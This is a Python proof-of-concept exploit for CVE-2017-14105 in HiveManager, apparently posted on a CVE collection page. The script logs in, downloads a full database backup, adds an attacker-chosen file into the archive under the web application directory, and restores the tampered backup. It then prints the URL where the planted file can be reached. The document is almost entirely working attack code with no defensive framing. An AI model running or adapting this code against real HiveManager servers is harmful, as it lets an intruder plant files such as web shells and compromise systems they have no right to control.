4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2017-14105.py PY
#!/usr/bin/python
# author: @theguly
# PoC for CVE 2017 14105

import sys,re,json
import requests
import argparse
import time
from shutil import copyfile
import tarfile
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def itime():
    return str(int(time.time()))+'000'

parser = argparse.ArgumentParser()
parser.add_argument('-d', dest='baseurl', required=True, help='destination url, like https://hivemanager.foo.bar')
parser.add_argument('-u', dest='username', required=True, help='username to authenticate with')
parser.add_argument('-p', dest='passwd', required=True, help='password')
parser.add_argument('-f', dest='addme', required=True, help='file to add')
args = parser.parse_args()
baseurl = args.baseurl.rstrip('/')

s = requests.Session()

# auth
data={'userName':args.username, 'password':args.passwd}
res = s.post(baseurl+'/hm/authenticate.action',data=data,verify=False,allow_redirects=False)
try:
    if not 'topMenu.action?operation=dash' in res.headers['Location']:
        print "auth failed"
        sys.exit()
except:
    print "auth failed"
    sys.exit()

# do the backup
data= {
'operation':'backupImmediate',
'__checkbox_ignore':'true',
'backupScope':'fullBackup',
'backupType':'dump',
}
res = s.post(baseurl+'/hm/backupDB.action', data=data, verify=False,allow_redirects=False)

# check backup status
done = False
while not done:
    jres = s.get(baseurl+'/hm/backupDB.action?operation=pollBackupStatus&ignore='+itime(), verify=False,allow_redirects=False).json()
    print "waiting for backup to complete..."
    m= re.search(r'The backup file \((.+)_(.+)_(\d+)\.tar\.gz\ ', jres['message'])
    if m:
        fname = m.group(1)+'_'+m.group(2)+'_'+m.group(3)+'.tar.gz'
        tenant = m.group(2)
    if 'The backup file' in jres['message']:
        done = True
        if jres['success']:
            print 'backup completed: %s' % jres['message']
        else:
            print 'backup not completed: %s' % jres
            sys.exit()
    else:
        time.sleep(3)

# download the backup
data={'operation':'download'}
res = s.post(baseurl+'/hm/backupDB.action', data=data,verify=False)
with open(fname, 'wb') as handle:
    for block in res.iter_content(1024):
        handle.write(block)


# add file to archive
ename = 'evil-'+fname
copyfile(fname, ename)
newtar = tarfile.open(ename, "w|gz")
oldtar = tarfile.open(fname,"r")
for member in oldtar.getmembers():
    newtar.addfile(member, oldtar.extractfile(member.name))
oldtar.close()

addmeinfo = newtar.gettarinfo(args.addme,'/HiveManager/tomcat/webapps/hm/domains/'+tenant+"/maps/"+args.addme)
# you are not actually limited to maps dir, just as a PoC
addmeinfo.name = '/HiveManager/tomcat/webapps/hm/domains/'+tenant+"/maps/"+args.addme
addmeinfo.uid = 501
addmeinfo.gid = 501
newtar.addfile(addmeinfo, file(args.addme))
newtar.close()

# restore archive
jres = s.get(baseurl+'/hm/restoreDB.action?operation=initProgessConfig&restoreFileFileName=C%3A\\fakepath\\'+ename+'&ignore='+itime(),verify=False).json()
if not jres['success']:
    print "failed to restore the backup file: %s" % jres
    sys.exit()

data = {'operation':'restore','id':'','restoreProtocol':1,'ignore':'true', '__checkbox_ignore':'true', '__checkbox_advancedOption':'true', 'restoreOption':'existVHMOption', 'existVHMId': '', 'tabId': 0, 'tableId': 0, 'vhmName':'', 'formChanged':'false'}
files = {'restoreFile': (ename, open(ename,'rb'), 'application/x-gzip')}
res = s.post(baseurl+'/hm/restoreDB.action',data=data,files=files,verify=False,allow_redirects=False)
time.sleep(1)
res = s.get(baseurl+'/hm/restoreDB.action',verify=False)

time.sleep(1)
done=False

i=1
while not done:
    i=i+1
    jres = s.get(baseurl+'/hm/restoreDB.action?operation=pollRestoreStatus&ignore='+itime(), verify=False,allow_redirects=False).json()
    if jres['status'] == 3:
        print "restore completed: %s" % jres['message']
        done=True
    elif jres['status'] == 2:
        print "waiting for restore to complete..."
        time.sleep(1)
    else:
        print "unknown status '%s', something went wrong: " % (jres['status'],jres['message'])
        sys.exit(1)
    if i > 300:
        print "restore too slow, please check for any issue"
        sys.exit(1)

print 'your file should be available at: '+baseurl+'/hm/domains/'+tenant+'/maps/'+args.addme